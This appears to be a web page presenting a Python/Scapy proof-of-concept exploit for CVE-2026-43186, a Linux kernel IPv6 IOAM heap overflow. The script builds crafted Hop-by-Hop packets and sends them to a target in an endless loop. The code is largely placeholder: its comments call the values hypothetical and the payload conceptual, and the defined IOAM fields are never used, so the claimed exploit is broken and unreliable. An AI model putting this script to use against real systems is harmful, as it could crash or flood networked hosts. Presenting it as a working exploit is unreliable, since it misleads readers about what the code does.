CVE-2026-43186 Linux内核IOAM堆缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43186: Linux Kernel IPv6 IOAM Heap Buffer Overflow # This script crafts a malicious IPv6 packet with IOAM headers to trigger the overflow. # Requires Scapy: pip install scapy from scapy.all import * # Define the IOAM option type ( experimental, based on context ) # Note: Actual option type IDs may vary based on kernel configuration. # This PoC demonstrates the structure: nodelen=0, type bits set. def build_ioam_packet(target_ip): # Ethernet header eth = Ether(dst="ff:ff:ff:ff:ff:ff") # IPv6 Header ipv6 = IPv6(dst=target_ip, nh=0) # Next Header: Hop-by-Hop Options # Hop-by-Hop Options Header # We need to construct an IOAM option inside. # Exploit condition: nodelen=0, but type bits are set. # IOAM Trace Option structure (simplified for PoC) # Type (1 byte) | Length (1 byte) | Data... # The vulnerability relies on the internal 'trace' structure parsing. # Constructing the payload to simulate the crafted packet described # Type field indicates data is present (bits 0-21), but NodeLen is 0. # Malicious IOAM data placeholder # In a real scenario, specific bit manipulation is required to match the kernel's IOAM6_TYPE_* definitions. # Here we simulate the conflicting fields. ioam_type = 0x1F # Hypothetical type with bits set ioam_len = 0x00 # Exploit: nodelen is 0 # Pad the rest of the option to satisfy header alignment if needed # The overflow happens when the kernel processes this specific option. hbh = IPv6ExtHdrHopByHop(options=[ PadN(opttype=1, optdata=b'\x00'), # Placeholder # Constructing a raw option to bypass scapy's default encoders if necessary # This is a conceptual representation ]) # To specifically target CVE-2026-43186, one would need to craft the exact IOAM6 trace data. # Below is a generic raw payload structure often used in such research. raw_payload = bytes([ 0x3C, # IOAM Option Type (Example value) 0x04, # Option Length (Example) # Trace Data follows here, manipulated to trigger the bug 0x00, 0x00, 0x00, 0x00 # nodelen set implicitly low or zero via manipulation ]) packet = eth / ipv6 / hbh / Raw(load=raw_payload) return packet if __name__ == "__main__": target = "2001:db8::1" # Link-local or global target address pkt = build_ioam_packet(target) print(f"[*] Sending malicious packet to {target}...") sendp(pkt, iface="eth0", loop=1, verbose=1)